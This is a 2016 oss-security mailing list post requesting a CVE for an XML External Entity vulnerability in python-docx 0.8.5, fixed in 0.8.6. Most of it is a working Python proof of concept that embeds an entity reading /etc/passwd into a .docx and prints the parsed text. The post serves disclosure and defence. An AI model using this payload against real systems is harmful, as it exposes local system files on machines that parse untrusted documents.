|
Message-ID: <CAO8=cJ9uNJNtPb-GVqq168h4ODCkaxS6W+bX2DFMtpty-MJh2g@mail.gmail.com> Date: Tue, 28 Jun 2016 17:31:22 -0400 From: Pierre Ernst <pernst@...esforce.com> To: oss-security@...ts.openwall.com Subject: CVE request - python-docx 0.8.5 - XXE The python-docx package (https://github.com/python-openxml/python-docx) is vulnerable to XML External Entity attacks (XXE). Version 0.8.6 (https://github.com/python-openxml/python-docx/releases/tag/v0.8.6) contains a fix. I would like to thanks Steve Canny for the prompt response. The following POC has been tested on version 0.8.5. Older versions of the package might be vulnerable as well. import docx import zipfile import tempfile import os # define malicious XML xml_string = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE w:document [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <w:document xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"> <w:body> <w:p> <w:pPr> <w:pStyle w:val="Normal" /> <w:rPr></w:rPr> </w:pPr> <w:r> <w:rPr></w:rPr> <w:t> Pierre Ernst, Salesforce --[&xxe;]-- </w:t> </w:r> </w:p> <w:p> <w:pPr> <w:pStyle w:val="Normal" /> <w:rPr></w:rPr> </w:pPr> <w:r> <w:rPr></w:rPr> <w:t></w:t> </w:r> </w:p> <w:sectPr> <w:type w:val="nextPage" /> <w:pgSz w:w="12240" w:h="15840" /> <w:pgMar w:left="1134" w:right="1134" w:header="0" w:top="1134" w:footer="0" w:bottom="1134" w:gutter="0" /> <w:pgNumType w:fmt="decimal" /> <w:formProt w:val="false" /> <w:textDirection w:val="lrTb" /> </w:sectPr> </w:body> </w:document>''' # source: http://stackoverflow.com/questions/25738523/how-to-update-one-file-inside-zip-file-using-python def updateZip(zipname, filename, data): # generate a temp file tmpfd, tmpname = tempfile.mkstemp(dir=os.path.dirname(zipname)) os.close(tmpfd) # create a temp copy of the archive without filename with zipfile.ZipFile(zipname, 'r') as zin: with zipfile.ZipFile(tmpname, 'w') as zout: for item in zin.infolist(): if item.filename != filename: zout.writestr(item, zin.read(item.filename)) # replace with the temp archive os.remove(zipname) os.rename(tmpname, zipname) # now add filename with its new data with zipfile.ZipFile(zipname, mode='a', compression=zipfile.ZIP_DEFLATED) as zf: zf.writestr(filename, data) # update legit docx file with malicious XML updateZip('whatever.docx', 'word/document.xml', xml_string) # process with python-docx document = docx.Document('whatever.docx') print '\n\n'.join([paragraph.text for paragraph in document.paragraphs]) -- Pierre Ernst Salesforce
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.